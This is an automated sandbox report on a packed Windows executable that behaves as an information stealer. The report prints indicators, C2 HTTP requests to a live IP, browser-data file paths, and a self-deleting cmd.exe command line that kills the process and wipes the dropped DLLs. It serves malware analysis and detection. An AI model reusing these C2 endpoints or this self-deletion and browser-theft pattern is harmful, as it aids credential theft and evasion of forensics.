Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 9, 2021, 9:25 a.m.	July 9, 2021, 9:27 a.m.

Size	2.8MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`4d0c54facda22627e27ddc68f7a1d31a`
SHA256	`b050ed31de09e850f5e903d211951938bd07de743f320610cd82f409e4c7de08`
CRC32	`4385A89F`
ssdeep	`49152:2xYMqHTBIHGEo3G0/9GC3/I2siOR3h9Uku4R:9JNItYG0/9Gq/vsiy3h9UkrR`
Yara	Generic_Malware_Zero - Generic Malware anti_vm_detect - Possibly employs anti-virtualization techniques IsPE32 - (no description) PE_Header_Zero - PE File Signature

s-etup.exe "C:\Users\test22\AppData\Local\Temp\s-etup.exe"
2432
- cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im s-etup.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\s-etup.exe" & del C:\ProgramData\*.dll & exit
  2664
  - taskkill.exe taskkill /im s-etup.exe /f
    2724
  - timeout.exe timeout /t 6
    2840

Name	Response	Post-Analysis Lookup
sergeevih43.tumblr.com	A 74.114.154.18 A 74.114.154.22	74.114.154.18

IP Address	Status	Action
162.55.223.232	Active	Moloch
164.124.101.2	Active	Moloch
74.114.154.22	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA July 9, 2021, 9:25 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW July 9, 2021, 9:25 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (3 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 9, 2021, 9:25 a.m.	buffer: SUCCESS: The process "s-etup.exe" with PID 2432 has been terminated. console_handle: 0x00000007	1	1
WriteConsoleW July 9, 2021, 9:25 a.m.	buffer: Waiting for 6 console_handle: 0x00000007	1	1
WriteConsoleW July 9, 2021, 9:25 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x00000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 9, 2021, 9:25 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (4 events)

section
section	-eda dee
section	.themida
section	.loadcon

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ July 9, 2021, 9:25 a.m.	stacktrace: s-etup+0x3ef530 @ 0x7ef530 s-etup+0x3ef5cd @ 0x7ef5cd exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x75f4b727 registers.esp: 1638148 registers.edi: 6619136 registers.eax: 1638148 registers.ebp: 1638228 registers.edx: 2130566132 registers.ebx: 0 registers.esi: 2004710443 registers.ecx: 1182007296	1
__exception__ July 9, 2021, 9:25 a.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 e9 b8 e7 ef ff exception.symbol: s-etup+0x400408 exception.instruction: in eax, dx exception.module: s-etup.exe exception.exception_code: 0xc0000096 exception.offset: 4195336 exception.address: 0x800408 registers.esp: 1638268 registers.edi: 10366432 registers.eax: 1750617430 registers.ebp: 6619136 registers.edx: 22614 registers.ebx: 4194304 registers.esi: 13 registers.ecx: 20	1
__exception__ July 9, 2021, 9:25 a.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: s-etup+0x40047c exception.instruction: in eax, dx exception.module: s-etup.exe exception.exception_code: 0xc0000096 exception.offset: 4195452 exception.address: 0x80047c registers.esp: 1638268 registers.edi: 10366432 registers.eax: 1447909480 registers.ebp: 6619136 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1

HTTP traffic contains suspicious features which may be indicative of malware related traffic (9 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://162.55.223.232/929
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/freebl3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/mozglue.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/msvcp140.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/nss3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/softokn3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://162.55.223.232/vcruntime140.dll
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://162.55.223.232/
suspicious_features	GET method with no useragent header	suspicious_request	GET https://sergeevih43.tumblr.com/

Performs some HTTP requests (9 events)

request	POST http://162.55.223.232/929
request	GET http://162.55.223.232/freebl3.dll
request	GET http://162.55.223.232/mozglue.dll
request	GET http://162.55.223.232/msvcp140.dll
request	GET http://162.55.223.232/nss3.dll
request	GET http://162.55.223.232/softokn3.dll
request	GET http://162.55.223.232/vcruntime140.dll
request	POST http://162.55.223.232/
request	GET https://sergeevih43.tumblr.com/

Sends data using the HTTP POST Method (2 events)

request	POST http://162.55.223.232/929
request	POST http://162.55.223.232/

Allocates read-write-execute memory (usually to unpack itself) (6 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x777ff000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x77770000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00499000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00483000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00483000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 9:25 a.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e82000 process_handle: 0xffffffff	1

Steals private information from local Internet browsers (3 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Chromium\User Data\Local State
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Local State

Creates executable files on the filesystem (6 events)

file	C:\ProgramData\freebl3.dll
file	C:\ProgramData\msvcp140.dll
file	C:\ProgramData\nss3.dll
file	C:\ProgramData\vcruntime140.dll
file	C:\ProgramData\mozglue.dll
file	C:\ProgramData\softokn3.dll

Creates a suspicious process (2 events)

cmdline	C:\Windows\System32\cmd.exe /c taskkill /im s-etup.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\s-etup.exe" & del C:\ProgramData\*.dll & exit
cmdline	"C:\Windows\System32\cmd.exe" /c taskkill /im s-etup.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\s-etup.exe" & del C:\ProgramData\*.dll & exit

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\s-etup.exe

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "s-etup.exe")

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 9, 2021, 9:25 a.m.	show_type: 0 filepath_r: C:\Windows\System32\cmd.exe parameters: /c taskkill /im s-etup.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\s-etup.exe" & del C:\ProgramData\*.dll & exit filepath: C:\Windows\System32\cmd.exe	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (36 events)

Time & API	Arguments	Status	Return
Process32FirstW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: [System Process] process_identifier: 0	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: System process_identifier: 4	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: smss.exe process_identifier: 228	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: csrss.exe process_identifier: 304	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: wininit.exe process_identifier: 344	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: csrss.exe process_identifier: 368	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: winlogon.exe process_identifier: 408	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: services.exe process_identifier: 444	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: lsass.exe process_identifier: 460	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: lsm.exe process_identifier: 468	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 580	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 660	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 744	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 804	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 860	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: audiodg.exe process_identifier: 932	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 1000	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 372	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: spoolsv.exe process_identifier: 312	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 1048	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 1196	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: IMEDICTUPDATE.EXE process_identifier: 1244	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: taskhost.exe process_identifier: 1324	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: dwm.exe process_identifier: 1488	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: explorer.exe process_identifier: 1532	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: svchost.exe process_identifier: 1792	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: pw.exe process_identifier: 1988	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: SearchIndexer.exe process_identifier: 828	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: SearchProtocolHost.exe process_identifier: 1800	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: SearchFilterHost.exe process_identifier: 1204	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: mobsync.exe process_identifier: 2124	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: pw.exe process_identifier: 2164	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: taskhost.exe process_identifier: 2192	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: SearchProtocolHost.exe process_identifier: 2316	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000002f4 process_name: s-etup.exe process_identifier: 2432	1	1
Process32NextW July 9, 2021, 9:25 a.m.	snapshot_handle: 0x000004f4 process_name: process_identifier: 1636140		0

An executable file was downloaded by the process s-etup.exe (6 events)

Time & API	Arguments	Status	Return
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $Àð/AVAVAVéÒVAV]ó@WAV1VAV]óBWAV]óDWAV]óEWAV¦ñ@WAVOò@WAV@VÖAVOòBWAVOòEWÀAVOòAWAVOò¾VAVOòCWAVRichAVPELØbë[à"!Øf)Ýðp£s@pæPÀæÈ@xüÐPà0âTâ@ð8.texttÖØ `.rdataüþðÜ@@.data,HðÜ@À.rsrcx@à@@.relocàPä@B request_handle: 0x00cc000c	1	1
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÂU±É£;âÉ£;âÉ£;âÀÛ¨âÙ£;âWüâË£;âÁ8ãÇ£;âÁ?ãÂ£;âÁ:ãÍ£;âÁ>ãÛ£;âëÃ:ãÀ£;âÉ£:âw£;âÀ?ãÈ£;âÀ>ãÝ£;âÀ;ãÈ£;âÀÄâÈ£;âÀ9ãÈ£;âRichÉ£;âPELÄ_ë[à"!zà@3@A@Àt´Þ, xúÐ0h¹TT¹h¸@ôl¾.textÊxz `.rdata^ef~@@.data¼ä@À.didat8æ@À.rsrcx è@@.reloch0ì@B request_handle: 0x00cc000c	1	1
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $¦È¼Aâ©Òâ©Òâ©ÒV5=à©ÒëÑAú©Ò;ËÓá©Òâ©Ó"©Ò;ËÑë©Ò;ËÖî©Ò;Ë×ô©Ò;ËÚ©Ò;ËÒã©Ò;Ë-ã©Ò;ËÐã©ÒRichâ©ÒPEL8'Yà"!P± Ðaz@AðCÏôR,øx8?4:ðf8È(@Pð@@.textr `.data( @À.idata6P @@.didat4p6@À.rsrcø8@@.reloc4:<<@B request_handle: 0x00cc000c	1	1
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $#4gâZßgâZßgâZßnÉßsâZß¾[ÞeâZßùBßcâZß¾YÞjâZß¾_ÞmâZß¾^ÞlâZßE[ÞoâZß¬[ÞdâZßgâ[ßâZß¬^ÞmãZß¬ZÞfâZß¬¥ßfâZß¬XÞfâZßRichgâZßPELbë[à"!êwð@·»@ =T°pæÐÀ}pTÈ@ø.textèê `.rdataRTî@@.datatG`"B@À.rsrcp°d@@.reloc}À~h@B request_handle: 0x00cc000c	1	1
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $¢l$æ JOæ JOæ JOïuÙOê JO?oKNä JO?oINä JO?oONì JO?oNNí JOÄmKNä JO-nKNå JOæ KO~ JO-nNNò JO-nJNç JO-nµOç JO-nHNç JORichæ JOPEL¿bë[à"!¶b¼ÐP ±@¨¸È0xÐ@`ÐþT(ÿ@Ðl.textË´¶ `.rdata DÐFº@@.data @À.rsrcx0@@.reloc`@@B request_handle: 0x00cc000c	1	1
InternetReadFile July 9, 2021, 9:25 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ù£NEÍEÍEÍñ"GÍLà^NÍEÌlÍúÉUÍúÎVÍúÈAÍúÅ_ÍúÍDÍú2DÍúÏDÍRichEÍPEL8'Yà"!ê ® @¼@A°ð À H?0 °8è@¼.textÄéê `.dataDî@À.idata¸ð@@.rsrc ö@@.reloc 0ü@B request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (6 events)

section

{u'size_of_data': u'0x00046000', u'virtual_address': u'0x00001000', u'entropy': 7.999265756458357, u'name': u' ', u'virtual_size': u'0x0008154d'}

entropy

7.99926575646

description